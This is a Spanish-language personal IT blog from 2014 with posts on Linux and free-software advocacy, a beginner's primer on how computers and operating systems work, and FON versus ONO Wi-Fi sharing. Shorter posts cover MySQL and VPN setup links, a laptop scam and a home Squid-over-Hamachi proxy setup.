DEBIAN PRO

DEBIAN PRO
DEBIAN

viernes, 21 de noviembre de 2014

Réplicas MySQL D.O.


Un link sobre como montaron Réplicas MySQL en Digital Ocean.
https://www.digitalocean.com/community/tutorials/how-to-set-up-master-slave-replication-in-mysql

miércoles, 19 de noviembre de 2014

ONO, Wifi y FON


Por el año 2004 o 2005 trabajé mas de 4 años con FON.COM, gracias a Martín V. que me dió la oportunidad de estar con ellos.
La idea de Martín era construir una comunidad de "Foneros" que compartíamos nuestro ancho de banda y podíamos usar el ancho de banda de otros "Foneros".
Al estilo de las comunidades Wireless (como Alcalá Wireless donde también participé) y otras por todo el mundo.

La idea de Martín era una evolución de lo que se hacía en pequeños grupos de hackers en el mundo, pero él lo pensó a nivel global.
Fon tuvo un crecimiento enorme hasta pasar los 6 millones de routers (dicen 13 millones hoy mismo) con un firmware FON que permitía la doble señal WIFI, una Privada para uso propio y otra compartida para los demás.

Comenzamos con routers Linksys wrt54g, luego mejores modelos, luego hard fabricado a medida hasta las últimas foneras PLUS y Mini, los últimos y mas avanzados productos.

Desde sus orígenes en España, luego U.S.A., Japón, Alemania, U.K. y otros paises, ya hay prosencia en muchos paises, Personalmente he llevado mas de 30 routers a Argentina, algunos fueron confiscados por Aduanas... pero eso es otra historia.

En mi casa en Alcalá y desde hace un tiempo comencé a ver señales del tipo "_ONO_WIFI_XXXX", anoche miré nuevamente y veo 8 routers emitiendo con esas señales. Me pongo a investigar que pasaba y me encuentro con que es un producto "nuevo de ONO" que hace exactamente lo mismo que hace FON, pero a nivel Español.

Martín no logró un socio Español para potenciar FON, aunque si ocurrió en otros paises como Alemania, Japón o U.K.

Me sorprender que ahora para ONO la idea FON es tan buena que la aplican, copiando hasta los mapas de cobertura FON, y no se hayan asociado con FON.


https://red.onowifi.es/

Y la ruta a FON.COM
https://corp.fon.com/en

martes, 18 de noviembre de 2014

Microsoft y su licencia.


Estoy recopilando información sobre tecnologías de desarrollo en Windows y en Otros entornos.

No soy de desarrolllo y lo que pongo aca puede que no sea totalmente exacto, por favor, avisar los errores.

* Entorno Propietario Microsoft

De abajo hacia arriba (bajo nivel a alto nivel)
Sistema Operativo Windows (propietario)
IIS web server
Plataforma .NET (propietaria)
Web Site (webs, folders, componentes, exe)

Herramienta de Diseño propietaria
Visual Studio .NET
http://www.visualstudio.com/products/visual-studio-community-vs

Mas links
http://www.asp.net/mvc/open-source
http://aspnetwebstack.codeplex.com/

* Entorno Open Source / GNU
Sistema Operativo Linux
Apache / nginx / lighttpd
Plataforma MONO
http://www.mono-project.com
Web Site (web folders, exe)

Herramienta Gráfica de diseño
http://www.icsharpcode.net/OpenSource/SD/Download/#SharpDevelop5x



FUTURO
Ciertos productos de Microsoft, pasan a ser gratuitos, no quiere decir que sean OpenSource, solo que se pueden usar SIN PAGAR LICENCIA, que no es lo mismo.
El código interno del IIS, del V.Studio y demas, seguirá siendo un patrimonio de Microsoft.

martes, 11 de noviembre de 2014

Generadores de código.


En estas semanas estaré evaluanco un generador de código automático. Un concepto que hace tiempo que no veía/usaba.
La idea es tener un APP que genere nuevas APP simples y genéricas, rápidamente y que no requiera horas y horas de un developer.
http://en.wikipedia.org/wiki/Comparison_of_code_generation_tools

Comenzaré con Yii.
http://www.yiiframework.com/download/

viernes, 7 de noviembre de 2014

Software Libre.


Link con el directorio de Software Libre. Recomendado por FSF y GNU.
http://directory.fsf.org/wiki/Main_Page

Porque no Win o OSX.


* ¿ Por qué no usar OS X o WIN ?
Para mi OS X es casi lo mismo que Windows en término de licenciamiento del Sistema Operativo y Kernel. Link a OS X.
Si puedes usa Linux, no uses Windows ni OS X.
Estas son opiniones personales, hay cientos de motivos, intentaré poner los principales para mi.

* ¿ Por qué escribo esto ?
Llevo años usando Linux y creo que puedo compensar los beneficios que he obtenido gracias a GNU/Linux, la cantidad de conceptos, productos que he usado y aprendido.
El poder haber probado tantos programas sin tener que haber pagado por ellos (GNU).
El no tener que haber violado leyes para aprender/usar/compartir.
Luego quizas hacer algo bueno y gratis, descubres el precio que cuesta. Entenderás el beneficio que todos tenemos gracias a GNU.
Creo firmemente en esos conceptos GNU y me gustaría que muchos entiendan lo que pasa detrás del mundo informático.
La evolución no es únicamente "compremos, paguemos, usemos", todavía estaríamos usando terminales tontas de IBM.

* Se los considera productos "propietarios" (OSX y WIN) porque Empresas tienen todos los derechos sobre ese S.O.

Cpomo usuario tienes que pagar la licencia para usarlo pero no puedes modificarlo, está expresamiente declarado que "no pueden modificarlo", si lo haces puedes tener un juicio y nadie quiere estar fuera de la ley.
Tampoco puedes prestarlo, compartirlo, regalarlo, hacer copias a tus amigos... es una receta donde siempre deberás ir a comprar el plato preparado, no veas que tien, simplemente come. No puede hacer algo que se le parezca, no puedes revenderlo sin autorización de la fábrica... y un "largo" prohibido que te impide hacer cosas.

Una de las cosas mas cuestionadas es que no puedo usarlo "de una manera diferente" a como se diseño. Eso quiere decir que si uso el Notepad para algo que la fábrica considera "distinto" me pueden hacer un juicio.

Otro gran problema de estos últimos años es que los fabricantes de esos S.O. los actualizan semanal, mensual o trimestralmente, pudiendo arreglar bugs o metiendo código que hará algo que a mi no me guste, no puedo saber que hacer, no puedo evitarlo, si no actualizo el S.O. no meto las mejoras o arreglos a bugs, pero al mismo tiempo estoy aceptando lo que me manden con los ojos cerrados.

Richard S. dice, "el usuario es el esclavo del S.O.", el programa/S.O. hace lo que una empresa define y no lo que yo quiero que haga, "y solamente eso".

Apple también tiene una política muy restrictiva con su sistema operativo y con los programas que autoriza a usar, se bajan de su sitio oficial y son los homologados. Casi todo tiene un precio y no hay fuentes de sus componentes centrales.

Cuando grandes empresas manejan los S.O. imponen un precio para uso, definen una obsolescencia programada, un costo por "actualizarse", pueden dejar de modificarlo, el tiempo para los arreglos es indeterminado (recordemos el problema del Driver De R.S.)

Otros de los puntos de conflicto son las interfaces y su estética, vinculado esto con las patentes. Algo muy difundido en U.S.A. supuestamente para protejer a los creadores y además impedir una libre competencia.

En el concepto GNU si fabrico un programa que se parezca mucho a un Gedit (ejemplo) la comunidad puede usar ambos y cambiarse de uno a otro fácilmente.

En el mundo "Propietaria", algo parecido es una amenaza para las empresas y les hacen juicio para impedir que se parezca demasiado, si las cosas son "demasiado parecidas" podrían perder usuarios, porque estos se pasarían a otra empresa y perderían sus clientes cautivos, que deben seguir usando/pagando. Un concepto "de atadura" con los clientes.
Obtengo clientes que pagan por mi producto, impido que otras empresas hagan algo similar, impido la competencia, aislo a los usuarios en mi mundo.

Al sentarme a usar un OS X veo diferencias de interfaz, de conceptos, de manejo con el teclado... Personalmente creo que está hecho así para aislar a los usuarios a una interfaz gráfica distinta e impedir el cambio de S.O. a otro.

* ¿ Seguridad ?
Todos los sistemas operativos y aplicaciones pueden tener "Bugs" (errores de programadores), problemas con su uso de una manera distinta (ausencia de control), desbordamientos (problemas de la tecnología) y otros "problemas".
OpenBSD es el sistema operativo que se considera "MAS SEGURO" de todos, y no dije "inviolable". Con dos/tres bugs en 12 años. Fue un proyecto derivado de BSD con un claro objetivo de "control del código", "seguridad", auditorías"... es "lo mejor" en estabilidad y seguridad. Pero tampoco es perfecto.

* OSX NO tiene virus ni troyanos? Falso.
* Windows es el peor de todos? Depende.
* Linux no tiene virus ni troyanos? Falso.


* Todos los S.O. y aplicaciones tienen "problemas".
Windows prepara parches cada Martes y cada varios meses.
Apple hace algo similar, cada "varias semanas" manda un parche.

En mi Linux (Xubuntu) todos los dias tengo una actualización de alguno de los componentes, sea bash, alsa, xorg, vlc, ftp... Al haber tantos grupos desarrollando pequeños productos, respetando los standares el cambio es mas rápido y la actualización en mi equipo mas rápida.
Yo digo si quiero actualizarlo o no, pero el parche/upgrade existe.

Debian tiene una política de "stable/wheezy", "testing/jessie" and "unstable/sid". Se puede seleccionar que nivel de madurez quiero tener en mi sistema.
https://www.debian.org/releases/


* Yo uso OSX o Windows gratis!
MMmmm eso no es correcto.
Cuando compraste tu Mac/notebook/PC con OS X o Windows pagaste por un S.O.
El costo de venta de un equipo físico se incrementó, se pagó una licencia de uso a Microsoft/Apple mas impuestos.
Si lo has instalado por tu cuenta, entonces estas usando un S.O. ilegal, yo quiero respetar las licencias y leyes.
Piensa que quizas entre 20 y 40 Euros fueron destinados al S.O. ¿ lo vale ?
En unos años tendrás que poner otro y volver a pagar.
En unos años dejarán de darle soporte o de arreglarlo. Comenzará a quedar "viejo" muy rápidamente.
Usas un programa para escribir cartas, planillas de cálculo, dibujar, presentaciones?
También lo has pagado o deberías pagarlo. Unas un programa para Diseño (Autocad) ? lo mismo.

* ¿ Android ?
Piensa que Android está basado en Linux y adaptado a un hardware específico.
Gracias a GNU Linux pudo existir Android.
Compáralo con IOS, Windows Phone, Mobile...

* Consumismo y ecología.
Cada hardware que se pone viejo, requiere uno nuevo, con costo en materia prima, costo de producción, transporte, venta, comisiones, impuestos.
Usar un S.O. que requiere actualizar Hardware y S.O. cada dos o tres años está siendo poco ecologista.
Desde el Windows 95 hasta el 8.1 se ha evolucionado mucho en funcionalidad y en interfaz pero se podía haber evolucionado mejorando en lugar de reemplazando totalmente algo y muchas veces cometiendo los mismos errores?
Puede que algo intermedio hubiera sido mejor a lo ocurrido.
¿ Sabes que el Win 8.0 se discontinúa para que la gente compre Windows 10 ?
¿ Y si quiero seguir usando Windows 7 ?
Ya no se puede porque se quita el soporte.

* Intrusiones, privacidad, seguridad.
Desde hace unos 15 años que supe que los proveedores de Internet en Argentina estaban colocando RACKS negros en sus instalaciones, nadie sabía exactamente para que.
Todos sospechábamos que eran productos "recomendados" por la C.I.A., F.B.I., Interpol, otros....
Desde el 2007 con Wikileaks publicando posts y tantos sitios que "susurran" lo que pasa, temas oculto a los ojos de simples mortales nos enteramos de muchas cosas que "no son legales", "no gustan", "violan la privacidad"... o simplemente "fueron aprobadas sin que la sociedad entienda" (legalmente).
Esto ocurre desde hace muchísimo tiempo (Guantánamo) y no es nuevo, pero en el mundo informático de Internet parecía algo imposible. Por su anarquía, rutas alternativas, cantidad de empresas en todo el mundo...
Pero también pasa, no solo en China, en todo el mundo.

Se sospecha que la N.S.A. esta metida en muchos equipos, servidores, equipos, portátiles en todo el mundo, con diferentes motivos. Que el tráfico está auditado, analizado, capturado.
Basta leer http://thehackernews.com/

El usar un sistema operativo en el que no puedes ver su parte interna y auditarlo, complica la transparencia en su uso, en los parches, facilita la instalación de troyanos y gusanos.
Fomenta que grandes empresas y gobiernos encuentren fallos, los utilicen en su propio beneficio y no informen a los fabricantes para que los arreglen.
Si un organismo puede "poseer"/"hack" un router que gestiona el tráfico de paquetes TCP-IP puede ver el contenido y eso viola los derechos de los usuarios a la privacidad.

En el caso de GNU/Linux las comunidad de desarrolladores pueden ver el código fuente, auditar y como son usuarios del mismo producto, intentarán arreglarlo para no tener problemas.

Hace poco aparecieron problemas en "BASH", la interfaz básica de interacción entre el usuario y el S.O., en un período de 2 semanas recibí 5 parches para arreglar los problemas que detectaban, todo en forma gratuita y casi a diario.

Apple se hizo famosa por genera un bug en su sistema operativo, que había sido arreglado 10 años antes en BSD, el reinventar la rueda puede producir los mismos errores que la anterior.

* Protocolos abiertos y standards.
Muchas veces se habla de standares o protocolos. Existen organismos que regulan esas normas a nivel mundial (IEEE, ISO, otros).
Definen un "protocolo de comunicación" y las empresas lo utilizan para poder comunicarse entre sí.
Un ejemplo trivial son las normas de tránsito. Todos las aceptamos (generalmente) y nos sirven a todos para poder compartir los caminos.

Microsoft y Apple suelen implementar "normas" un poquitín diferentes para separarse de su competencia y generar un GAP.

Un caso real es el producto "Lync", herramienta para CHAT, VIDEO, VOZ de Microsoft que usa un "standard" propietario y que no permite que otros programas se comuniquen correctamente con los productos oficiales Ms. Básicamente o usas Lync de Ms o no te podrás comunicar correctamente.
El ejemplo contrario es el protocolo HTTP, donde puedes usar I-Explorer, Mozilla, Chrome, Safari, K-Meleon y ves las mismas páginas. Aunque también hay sutiles diferencias.

Usar protocolos propietarios impide el cambio de producto, fomenta tener el cliente cautivo del producto, produce problemas en las comunicaciones, limita el acceso a la información.


RESUMEN
Piensa, lee, investiga, compara, pregunta.
Si puedes, USA LINUX.

jueves, 6 de noviembre de 2014

Linux, GNU, Kernel, Distro, colores.


Estoy dias estuve hablando con un conocido sobre "¿que Sistema Operativo ponerle a su portátil?".
Creo que algunas ideas le pueden servir a otras personas, así que aquí dejo mi colaboración.
Como siempre son mis ideas y si no estas de acuerdo puedes dejar tus comentarios.

* Equipo/Ordenador/Computadora. Hardware. Parte Física.
Conjunto de partes necesarias y básicas para hacer procesamiento digital de la información.
Básicamente una placa base/mother, CPU, RAM/Memoria, Disco, Teclado, mouse, monitor, cables...
Hay otras partes? si, claro... pendrive, impresora, placa de red, etc.etc...

* BIOS
Componente de firmware, código binario que se ejecuta cuando encendemos nuestro equipo. Está en lenguaje de bajo nivel para interactuar con el equipo.
Es lo primero que se ejecuta, permite cambiar la hora del reloj interno del equipo, agregar partes, verificar el disco, muestra un dibujito bonito con la marca del equipo, etc.
Se encarga de ver que dispositivos de almacenamiento tiene conectados y pasará el control de ejecución a cada uno de sos dispositivos conectados.
(cdrom, disco, pendrive, ethernet... etc)
Cada tantos meses suelen aparecer actualizaciones a ese "código", es recomendable actualizar el BIOS, el proceso es pasar unos 2 o 4 kb de un fichero a la zona de almacenamiento eprom (programable) del motherboard. (Placa central de nuestro equipo)
Las placas base tienen una zona donde se almacenan unos pocos datos de la configuración de hardware del equipo (EPROM), en cada arranque lo leen y verifican.

* Sistema Operativo.
Una ves que el BIOS encuentro el hardware le pasa el control a un dispositivo de almacenamiento, supongamos que es un disco (podría ser un Pendrive, cd. etc)
En ese dispositivo se tuvo que haber instalado antes un código BOOT LOADER en los primeros sectores del disco. El boot/loader/lilo/grub es un código sencillo que toma el control, busca particiones, verifica memoria, cpu y hace el "boot"/"patadón" al Kernel del Sistema Operativo.
Los sistemas operativos tienen Rings, que son capas aisladas que interactúan entre ellas, Ring 0 a Ring 3 (depende del S.O.).

* En Windows
Para los que tengan Windows esto ocurre casi sin ver nada, salvo que hayan arrancado en modo a prueba de fallos, donde irían viendo que cosas se van cargando.
El proceso "normal" que ocurre en Windows es que adenás de cargar el Sistema operativo, se cargan otros programas que corren sobre él como el sistema de gestión de ventanas, el explorador, etc.etc... hasta que nos aparece el puntero, pantalla gráfica, varios (o cientos) de servicios corriendo debajo.

* En Linux/Unix/OSX
Supongamos que tenemos Linux, comienza un proceso de carga del Kernel, verificación de componentes, carga de otras partes según los dispotivios que tengamos conectados. Hasta llegar a un punto donde el shell (o bash) acepte peticiones.
Este proceso es un poco mas largo y complicado, pero si estas leyendo esto piensa que carga una serie de programas que interactúan con el hardware en bajo nivel y van subiendo hasta que habilitan una interacción entre usuario y Sistema operativo mostrando un "prompt" ó cursor parpadeante.
Como mínimo se tuvo que cargar el Kernel, drivers para dispositivos físicos y algunos programas básicos para interacción con el hardware.

En Linux, podemos arrancar el S.O. y quedarnos con nuestra pantalla negra, texto y cursor parpadeante (bash/zsh) o podemos decirle que cargue el servidor gráfico (xorg) y un manejador de ventanas (gnome/kde/twm/otros). En los servidores donde se optimiza hasta el último pedacito de cada componente, se arranca en modo texto con unos pocos servicios corriendo, poca interacción con clientes y pocos engranajes dondo vueltas.

* Hardware reducido.
Un caso especial son los routers con dd-wrt/openwrt, Raspberry PI/Arduinos o similares. Corren distros mínimas preparadas para arrancar rápidamente, funcionalidad limitada y aplicaciones pequeñas diseñadas para usar poca memoria, pocos recursos, poca CPU y un hardware limitado.
Con un hardware mas sencillo y limitado se pueden correr sistemas operativos limitados, en el caso de un Router que no tiene teclado y mouse, no es necesario que el S.Operativo tenga los drivers para ese hardware y tampoco interrupciones para hacer lectura de esos componentes.

* Aplicación/Programa.
El fundamento de la informática, lineas de código que el sistema operativo puede ejecutar, con o sin interacción del usuario, con/sin salida de información por pantalla, con/sin comunicaciones mediante la red, etc.etc...
Digamos que sobre el kernel, todo lo demás son programas que hacen tareas, se pueden ejecutar, parar, interactuar. Sin embargo si paramos el kernel, nada podrá correr después, porque todo va arriba del Kernel.

* Programa fuente, interpretado y Compilado.
La funcionalidad básica de un equipo era poder programar que haga cosas, sea una suma de datos, hasta procesos avanzados como coordinar los procesos de una nave espacial.
Desde los orígenes de la era de la programación, se cambió mucho el proceso de "programar", inicialmente se programaba en código binario, hexadecimal, ensamblador o de muy bajo nivel. Algo que no es comprensible para casi nadie. (Excepto para esos Guru del Assembler).
Como era complicado, se "programaron" lenguajes de mas "nivel", es decir, más fáciles de usar. El mas importante de los orígenes fue el "C", que sirvió para programar otros componentes/servicios/programas para facilitarnos la vida, entre ellos se programaron "nuevos lenguajes de programación". Un concepto recursivo, programa lenguajes que programan lenguajes mas elaborados.

El concepto sencillo es que yo escribo órdenes para que un lenguaje las ejecute, (buscar "hello world" en Internet) el archivo que contiene mis líneas de código se llama "código fuente", lo puedo modificar las veces que quiera, es justamente el orígen.
Ver link. http://en.wikipedia.org/wiki/List_of_Hello_world_program_examples

Fuente Assembler
; Uses S-C Assembler variant.
; .or is origin
; .as is ASCII String
; .hs is Hex String
.or $300
main ldy #$00
.1 lda str,y
beq .2
jsr $fded ; ROM routine, COUT, y is preserved
iny
bne .1
.2 rts
str .as "HELLO WORLD"
.hs 0D00

Fuente Basic.
PRINT "Hello, world!"

* Un compilador.
Es un programa que pasa de ese código "fuente" a un código procesado con instrucciones de bajo nivel para que corra el sistema operativo. (ver ELF, exe, com, otros)
El programa generado se llama binario y es complicado entender que hace, son instrucciones en hexa, zonas de datos, etc.

* Un intérprete.
Es un híbrido entre fuente y compilado (perl, python, php), convierte el fuente a un código intermedio que se ejecutará al correrlo. Suelen hacerlo en tiempo real agregando una demora en el pseudo-compilado en el momento que queremos ejecutar el programa fuente.
Tienen los beneficios de poder tocar el fuente en todo momento y en cada corrida se utilizará el código nuevo.

* Driver.
Aplicación de bajo nivel que interactúa con el hardware y con el sistema operativo, conoce que enviar y recibir de un hardware y simplifica las comunicaciones entre el kernel y un hardware. El beneficio de ese Driver es que solo se carga en el sistema operativo los drivers de los dispositivos que tenemos conectados. Es mas eficiente cargar o descargar el driver de RAM si no lo necesitamos.

* Servicio/Daemon/demonio.
Un programa con una utilidad muy concreta y que corre interactuando directamente con el sistema operativo, muchas veces sin necesidad de interactuar con el usuario (humano).
Ejemplos son sendmail/apache/smtp/ntp/alsa.

* Orígenes de la informática masiva.
Por los 60 y hasta los 80, los equipos eran grandes, pocos en el mundo, grandes consumidores de electricidad, poco eficientes y administrados por grandes gobiernos.
Entre los 70 y 80 comenzó la idea de equipos mas pequeños, mas potentes, "equipos para el pueblo".
Los equipos, programas, manuales, expertos, cursos... todo se pagaba y mucho.

* Microinformática o Personal Computer.
Comenzaron a aparecer proyectos "para todos", de IBM, Tandy-Radio Shack, Apple I, Sinclair, Commodore, Casio... Grupos de ingenieros electrónicos y empresas comenzaron a hacer equipos pequeños, limitados, para las familias, transportables, para pequeñas empresas.
Un ejemplo fue Apple que diseño una placa base en su garage, lo vendía por unidades a personas, diseñaron un pequeño sistema operativo propio, luego programas como Basic, juegos...

* Los grandes equipos.
Seguían siendo caros, con sus sistemas operativos caros y complejos.
Cuenta la leyenda que Richard Stallman tenía problemas con un driver para una impresora que no funciona bien, habían pagado por él pero no funcionaba bien, demoraban muchas semanas en darle una solución y ese "problema" fue el punto de partida de su idea GNU (GNU is not Unix), cuentan que él mismo prorgamó el driver, lo repartía gratis a otros que lo necesitaban y ademas de tener un odio por ese proveedor generó una movida aún vigente.
Ver página https://www.gnu.org/

* GNU.
Movimiento creado en 1984 para diseñar un sistema operativo completo que no requiera pagar para obtenerlo, para actualizarlo, para arreglo de bugs, pagos anuales, etc.etc. Todo un concepto "cooperativo". Todos los que usamos Linux debemos estar agradecidos por su bronca y por su voluntad para luchar contra ese sistema establecido por las grandes empresas, gracias a la evolución hoy tenemos Linux gratuito. Las partes serían, Kernel, boot, lenguajes de programación, drivers, aplicaciones.
Tal como declara GNU, "Free Software" es un concepto donde se puede correr, copiar, distribuir, estudiar, auditar, cambiar y mejorar un programa. Justamente todo lo que no se podía hacer hasta ese momento con los Sistemas Operativos existentes.

* Linux
Intentando ser exacto, Linux es un Kernel diseñado en 1992 por Linus Torvalds de una manera particular, intentando copiar lo que hacía Unix pero con la colaboración de cientos/miles de programadores en el mundo y con la idea de tener un Kernel "libre".

La aparición de Linux junto a las ideas GNU, permitieron la masificación de Linux en el mundo. Todos los programadores podían colaborar, obtenían un kernel básico que podía mejorarse, cambiarse, regalarse, no habia que pagar licencias de uso, de compra, de actualización, etc.etc....

Aparecieron programadores que fueron fabricando componentes complementarios del Kernel, un ejemplo es gnuc, Bash, ifconfig, shutdown y miles mas (mira en /bin o /sbin y verás unos cuantos). Uno de los primeros componentes fue un compilador de C GNU, que permitió la programación del resto de programas, drivers y componentes que hoy en dia tenemos.
Ver página con los productos GNU existentes.
https://www.gnu.org/software/software.html

Como se cuenta en "Catedral y el Bazaar", teniendo una base para trabajar libremente (Kernel) y un compilador, cada programador o grupo de coders fueron programando aplicaciones según sus necesidades, basándose en nombres y costumbres de Unix se rearmó un sistema operativo completo, boot, kernel, compilador, prorgamas, interfaz gráfica, etc.
Recomiendo leer ese libro, se aprende mucho de la informática "free" y de conceptos como "Comunidad y colaboración", de "evolución"... Mucho de varias partes.

Richard Stallman insiste en GNU/Linux, porque para él primero apareció el concepto GNU, luego el Kernel Linux y luego el resto de los ladrillos. GNU dice que el programa se debe entregar con sus fuentes para que todos puedan verlo, auditarlo, modificarlo, compilarlo, distribuirlo nuevamente.

* Distribuciones.
Inicialmente uno, dos y hasta cinco grupos en paralelo fueron armando "distribuciones", un compilado de Kernel, boot loader, instaladores, drivers, herramientas, servidores gráficos, aplicaciones texto, gráficas y demas partes. Todo metido en diskettes o CD/DVD, se vendían, se enviaban por correo (no había internet o no era rápido).
Las primeras que yo he visto fueron Debian, RedHat y Slackware. Por esa época apareció FreeBSD con las mismas ideas (UNIX).
Esas distribuciones permitían una instalación "relativamente" fácil en equipos PC comunes, no requerían un hardware propietario sinó que se instalaban en micros Intel, Amd, Risc. Sin importarle la marca y modelo del proveedor de hardware.
Con el tiempo fueron apareciendo miles de distros... todos podemos hacernos una distro a nuestro gusto.
Basta mirar en www.distrowatch.com.

Hay familias/ramas, creo que hay 3 o 4 ramas centrales y luego muchas variantes, por poner un ejemplo:
Debian - Ubuntu - Xubuntu, otros.
RedHat - Fedora - otros.
Slackware - otros.
LFS - Linux desde la nada. Una distro que no tiene instalador, el usuario va instalando paso a paso los componentes, es fundamental para entender las partes de un Sistema Operativo y de una Distro.

* Servidor gráfico. Manejador de ventanas. Bibliotecas Gráficas.
Existen varios "gestores" de ventanas gráficos, requieren un servidor gráfico corriendo de fondo (xorg, xfreex86, etc.) y hacen la vida mas fácil al usuario del equipo. Esos gestores ejecutan aplicaciones gráficas, utilizan bibliotecas gráficas genéricas y las aplicaciones (gedit) las usan e interactúan con ellas.
Dos grandes ejemplos son: Gnome y KDE. Gnome usa GTK+ y KDE usa QT.

Mientras que en un Windows/OSX esa separación no existe o no es tan evidente, en Linux está claramente separada y se puede instalar o no.

Las distribuciones permiten cargar ambas librerías gráficas, ambos entornos y que un aplicativo pueda usar cualquiera de los entornos gráficos cargando las bibliotecas gráficas que necesita.

Como todos los componentes en ese lado del mundo (Linux), existen mas de una alternativa para cada taréa, diferentes grupos programaron productos similares para hacer taréas similares. Pensando en Darwin esta diversidad hace que haya varias especies conviviendo y si una muere las demas se podrán ver afectadas o beneficiadas, pero continuarán sus vidas y continuarán evolucionando.

Mirando las "distros" desde el Debian 2.0 o Redhat 5.0 hasta estos dias, su evolución fue enorme.

Algunas especies se quedaron en el camino, un ejemplo fue Conectiva, por diferentes razones la gente no lo aceptó y dejó de usarse, al tener tantas distros "compatibles" los usuarios se pudieron pasar a otra distro y continuar sus actividades.

Evolución continua gracias a programadores.


* Libre y Propietario.
Luego de entender GNU, se ven claramente las diferencias con Microsoft y Apple sobre como evolucionar en la informática.
Linux = Una comunidad evolucionando el producto y ofreciéndolo gratis.
Otros = Grandes empresas, desarrollando un producto y obteniendo dinero vendiéndolo. Sin permitir que evolucione.

Si un programa es GNU me permite verlo, auditarlo, leer el fuente, cambiarlo, compilardo, usarlo, regalarlo.

¿Si soy panadero, eso de que me sirve?
Hay cientos o miles de programadores en el mundo que pueden ver el código del "bash" (como ejemplo) y aunque yo no sepa como auditarlo o modificarlo, ellos SI lo saben y como también lo usan, querrán mejorarlo para no tener ellos mismos un problema, yo me beneficio de esos cambios/evolución sin tener que pagar por ello.

Mañana si hago un programa Free, lo puedo distribuir libremente, otros pueden mejorarlo y todos lo hacemos evolucionar obteniendo un beneficio para todos nosotros y para la comunidad en general, que puede bajarlo, usarlo y enviar los problemas que encuentra, y por supuesto, algunos programadores podrán hacer productos similares al mio, el mercado dirá cual prefiere.
Por favor, leer este link
https://www.gnu.org/gnu/linux-and-gnu.es.html

* gNewSense, Debian o Ubuntu.
Como ejemplo, estas distros son "similares" y comparten el mismo sistema de actualización de paquetes, repositorios con las últimas versiones de programas, su kernel, etc.
Personalmente pienso que GNU es un concepto que se debe "intentar alcanzar" pero mientras hay que "usar lo que haya", no debe ser "demasido extremo".

La fundación GNU pide que llamemos GNU/Linux a aquellas distros que respetan la filosofía GNU y usen el Kernel Linux y todos sus componentes son GNU.

Para GNU, gNewSense es una distro GNU/Linux porque usa el kernel Linux y todos los demás programas son de tipo GNU, no admite en su repositorio de programas productos que NO SEAN GNU.

Eso quiere decir que quizas una impresora con drivers propietarios sin fuentes y donde nadie haya hecho un driver GNU no funcioná.

Al no admitir programas NO-GNU está empujando a la sociedad para que genere programas GNU. Una de las premisas de la Fundación GNU.

* ¿ Debian no es GNU ?
Para la fundación GNU, Debian no es totalmente GNU porque permite incluir componentes que NO SEAN GNU.
Aunque la mayoría de los programas que funcionan en Debian son GNU, admite drivers, firmware, binarios, APP comerciales sin fuentes y otros componentes.
Al instalar DEBIAN se puede indicar que "solamente" querré componentes oficiales GNU.
Pero para la Fundación GNU eso no alcanza, porque no fomenta que los usuarios dejen de usar productos comerciales.
En este punto, o usas únicamente productos GNU o si alguno no lo es, ya tu instalación no es totalmente GNU.

* ¿ Y Ubuntu ?
Ubuntu creo que hizo un trabajo titánico, permitiendo que millones de personas que no eran informáticos usaran Linux, una distro relativamente reciente, fácil de instalar, de usar, intuitiva, bonita, admite muchisimo hardware de todo tipo, admite drivers/firmware propietarios, etc. Fue una nueva revolución en Sistemas Opertivos y en como instalarlos.
Su contribución al mundo Linux fue y es enorme, pero para la GNU.org no se considera GNU, porque tiene una política aún mas relajada aún que Debian.

Solo reconocen Distros GNU a: http://www.gnu.org/distros/free-distros.html

* ¿ Debo usar gNewSense, Debian o Ubuntu ? o otra ? ¿ Que pongo en mi equipo ?
¿Sentarte a comer y tener una carta de cientos de páginas es un problema?
Si lo es para tí, instala Ubuntu.
Si esa carta con diferentes platos te permite comer algo distinto cada dia, descubrir sabores, encontrar restaurantes que lo preparan mejor, leer la receta y poder hacerla en tu casa, darsela a tu vecina, preparar la receta, llevarla hecha a tus amigos para que la prueben, y hasta cobrarles si quieres.

Tienes miles de distros para elejir.

Dependiendo del hardware que tengas, de tu uso diario del equipo, de lo que busques, de el gusto por los colores, puedes instalar cualquier distro Linux que quieras.
En casi todas ellas tendrás una comunidad de desarrolladores atras mejorando el producto, casi a diario. Programadores expertos en seguridad, en optimización, en interfaces gráficas, en arte, en métodos científicos....

Si usas Linux no tendrás que pagar por los parches, por usar, distribuir, regalar, prestar, modificar los programas que necesitas/usas a diario.

* ¿ Porqué no usar Windows o OSX ?
Ver siguiente post.
http://itprofesionales.blogspot.com/2014/11/linux-gnu-ii.html

* Mi recomendación es usar Distros Linux y tratar de que todos lo usen. Sin dudas.

miércoles, 5 de noviembre de 2014

Equipo roto


Un estafador, vende equipos armados con Cinta y Gomaespuma.
Sin tornillos, sin soporte, tapando los agujeros de seguridad del propio disco....

Un chapucero/trucho de mucho cuidado.


Vendedor. Estafa metiendo un disco chino envuelto en cinta y con goma espuma....


Mucho cuidado al comprar portátiles, te puedes encontrar con este disco dentro.
Envuelto en Cinta y goma espuma. Sin tornillos, sin su soporte, tapando los agujeros de respiracion del disco.
Disco Chino de dudosa calidad.

VPN Checkpoint SSL Extender


Para hacer funcionar las VPN en mi Linux seguí este instructivo.

Checkpoint Network SSL Extender en Xubuntu.

http://www.samuelrossille.com/home/how-to-setup-checkpoint-network-ssl-extender-on-ubuntu-13-10-64-bits.html

lunes, 27 de octubre de 2014

WHI - Cascos Blancos


Y pasaron 20 años del inicio de Cascos Blancos, mas allá de todo partidismo político, presidentes y sectores es una suerte que haya organismos que intenten dar ayuda en forma "no militar."
Estuve trabajando con ellos durante unos años y participé como voluntario en la mision de "Goya", como informático.


lunes, 20 de octubre de 2014

VPN, Privacidad, URL....


Este fin de semana tuve que hacer una instalación para un amigo, pongo este post porque creo que le va a intersar a mas de uno.
Como asegurar la salida a internet desde la oficina, usando el router de casa, acceso a casa seguro y algunos etcs.


PROBLEMA A RESOLVER

* Usar un PC en la oficina, ocultando el tráfico.
* con privacidad en la navegación
* poder acceder a ficheros de su casa.


SOLUCIÓN APLICADA

* En su casa. con Win 7.
* Instalar logmein-hamachi, crear una red privada con clave.
* Instalar un SQUID en su Windows 7
* 10 minutos de configuración squid.conf
* Definir que hamachi solo escuche en la direccion IP 25.xx.xx.xx de Hamachi.
* Verificar que IP hay con www.whatsmyip.org

* En su equipo de la oficina.
* Instalar logmein-hamachi. Asociarse a la misma red.
* En el Browser, definir como Proxy, el IP 25.xx.xx.xx del otro equipo Hamachi.
* Verificar que IP hay con www.whatsmyip.org
* Si el IP es distinto al otro, algo esta mal.


